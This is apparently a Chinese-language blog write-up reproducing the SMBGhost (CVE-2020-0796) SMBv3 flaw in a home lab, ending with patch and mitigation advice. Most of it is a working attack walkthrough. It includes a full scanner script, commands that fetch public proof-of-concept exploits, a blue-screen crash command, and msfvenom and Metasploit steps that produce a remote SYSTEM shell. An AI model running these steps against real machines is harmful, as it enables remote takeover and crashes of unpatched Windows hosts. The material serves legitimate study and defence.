CVE-2020-0796 永恒之黑漏洞复现

发布于: 2024-12-04 20:44

fscan扫描本机,存在永恒之黑漏洞,漏洞复现一下

CVE-2020-0796 SmbGhost Vulnerable

1

漏洞原理

SMB远程代码执行漏洞

Windows 10和Windows Server 2016引入了SMB 3.1.1 ,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

永恒之黑漏洞也是由smb协议引发的漏洞,永恒之蓝是smb v1版本漏洞,永恒之黑是smb v3版本漏洞

影响范围

Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903 (Server Core installation) Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1909 for x64-based Systems Windows 10 Version 1909 for ARM64-based Systems Windows Server, Version 1909 (Server Core installation)

环境

靶机:

  • win10 1909 专业版
  • IP: 192.168.237.136

注意需要关闭防火墙,或者说安装火绒接管(x)

攻击机:

  • kali
  • IP: 192.168.237.128

2

差点脑子一热打物理主机win10了,准备个虚拟机win10打靶复现,复现两个利用姿势

记得打个快照

  • 蓝屏攻击
  • RCE

fscan扫描主机服务挺舒服的,kali没有内置,下载一个,移动到系统变量里

wget https://github.com/shadow1ng/fscan/releases/download/1.8.4/fscan
chmmod +x fscan
sudo mv fscan /usr/local/bin/

利用

nmap扫描同网段主机

sudo nmap -sS 192.168.237.0/24

发现靶机

3

nmap探测靶机操作系统类型

sudo nmap -sV 192.168.237.136

windows,以及开启的服务

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-04 15:06 CST
Nmap scan report for bogon (192.168.237.136)
Host is up (0.00015s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:0C:29:51:8E:30 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.11 seconds

4

nmap扫描靶机可能存在的漏洞

sudo nmap --script=vuln 192.168.237.136

kali用nmap,fscan都扫不到,在靶机里使用fscan可以扫到,玄学问题

5

6

永恒之黑漏洞扫描脚本:

scan.py

# 项目地址:https://github.com/ollypwn/SMBGhost
import socket
import struct
import sys
from netaddr import IPNetwork

pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

subnet = sys.argv[1]

for ip in IPNetwork(subnet):

    sock = socket.socket(socket.AF_INET)
    sock.settimeout(3)

    try:
        sock.connect(( str(ip),  445 ))
    except:
        sock.close()
        continue

    sock.send(pkt)

    nb, = struct.unpack(">I", sock.recv(4))
    res = sock.recv(nb)

    if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
        print(f"{ip} Not vulnerable.")
    else:
        print(f"{ip} Vulnerable")

用法:

python3 scan.py <ip>

扫描,靶机存在可利用漏洞

7

蓝屏攻击

下载蓝屏poc,安装环境

mkdir bluescreen
cd bluescreen
wget https://github.com/eerykitty/CVE-2020-0796-PoC/archive/refs/heads/master.zip
unzip master.zip
cd CVE-2020-0796-PoC-master
python3 setup.py install

准备好了,使用poc进行蓝屏攻击靶机

./CVE-2020-0796.py 192.168.237.136

蓝屏了,重启好像就没问题了?

8

RCE获取最高权限

使用msf生成一个x64 windows正向shell 绑定4444端口的攻击exp

msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f py -o evil.py

下载永恒之黑利用poc

利用工具:https://github.com/chompie1337/SMBGhost_RCE_PoC

mkdir CVE-2020-0796
cd CVE-2020-0796
wget https://github.com/chompie1337/SMBGhost_RCE_PoC/archive/refs/heads/master.zip
unzip master.zip
cd SMBGhost_RCE_PoC-master

把msf生成的正向shell exp evil.py以及下载利用的poc的exploit.py复制出来,修改比较方便

9

这里是evil.py里的内容

10

这里是exploit.py里的内容

11

需要把evil.py后面的字节数据替换到exploit里的USER_PAYLOAD里

简单的做法,用notepad++或者sublinetext把evil.py里的buf全部替换为USER_PAYLOAD,替换到exploit.py里即可

msf开启监听功能:

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4444
set rhost 192.168.237.136
run

这样kali使用msf监听4444端口,本地会向靶机发送数据,测试能否连接靶机的正向shell

12

再开一个终端,执行刚才替换好的exploit.py。kali不能正常连接靶机shell?看看你win10是不是打蓝屏了(x)

13

拿到shell啦!!接收不到shell或者打了两三次了,可以重启下win10靶机

14

拿到最高权限了

15

打完恢复快照,发现硬盘大了32个g,这个靶机里填充了32个g垃圾payload吗

修复建议

官方建议:Windows SMBv3 客户端/服务器远程代码执行漏洞

  • 安装官方补丁 给对应的系统打微软出的最新补丁
系统类型 介绍 下载链接
Windows 10 Version 1903 for 32-bit Systems KB4551762介绍 下载
Windows 10 Version 1903 for ARM64-based Systems KB4551762介绍 下载
Windows 10 Version 1903 for x64-based Systems KB4551762介绍 下载
Windows 10 Version 1909 for 32-bit Systems KB4551762介绍 下载
Windows 10 Version 1909 for ARM64-based Systems KB4551762介绍 下载
Windows 10 Version 1909 for x64-based Systems KB4551762介绍 下载
Windows Server, version 1903 (Server Core installation) KB4551762介绍 下载
Windows Server, version 1909 (Server Core installation) KB4551762介绍 下载
  • 禁用SMBv3压缩

使用以下 PowerShell 命令禁用压缩以阻止未经身份验证的攻击者利用针对SMBv3 服务器的漏洞

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

解除这个限制

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force

笔记:

  1. 更改后无需重新启动。
  2. 此解决方法不能阻止 SMB 客户端的利用
  3. Windows 或 Windows Server 尚未使用 SMB 压缩,禁用 SMB 压缩不会对性能产生负面影响

注意: 禁用解决方法后无需重新启动。

常问问题

我可以采取什么步骤来保护我的网络?

在企业外围防火墙处阻止 TCP 端口 445

TCP 端口 445 用于启动与受影响组件的连接。在网络外围防火墙处阻止此端口将有助于保护防火墙后面的系统免受利用此漏洞的攻击。这可以帮助保护网络免受来自企业外围之外的攻击。在企业外围处阻止受影响的端口是避免基于 Internet 的攻击的最佳防御措施。但是,系统仍然可能容易受到来自企业外围内部的攻击。

旧版本的 Windows(安全更新表中未列出的版本,如win7,winxp,win server等)是否受此漏洞的影响?

否,该漏洞存在于 Windows 10 版本 1903 中添加的新功能中。旧版本的 Windows 不支持 SMBv3.1.1 压缩,因此不受影响。

Windows Server 版本 1903(服务器核心安装)和 Windows Server 版本 1909(服务器核心安装)位于安全更新表中。非服务器核心安装的 Windows Server 版本 1903 和 Windows Server 版本 1909 是否受此漏洞影响?

否。Windows Server 1903 和 1909 版本均在半年度频道 (SAC) 下发布。因此,只能安装服务器核心。

参考: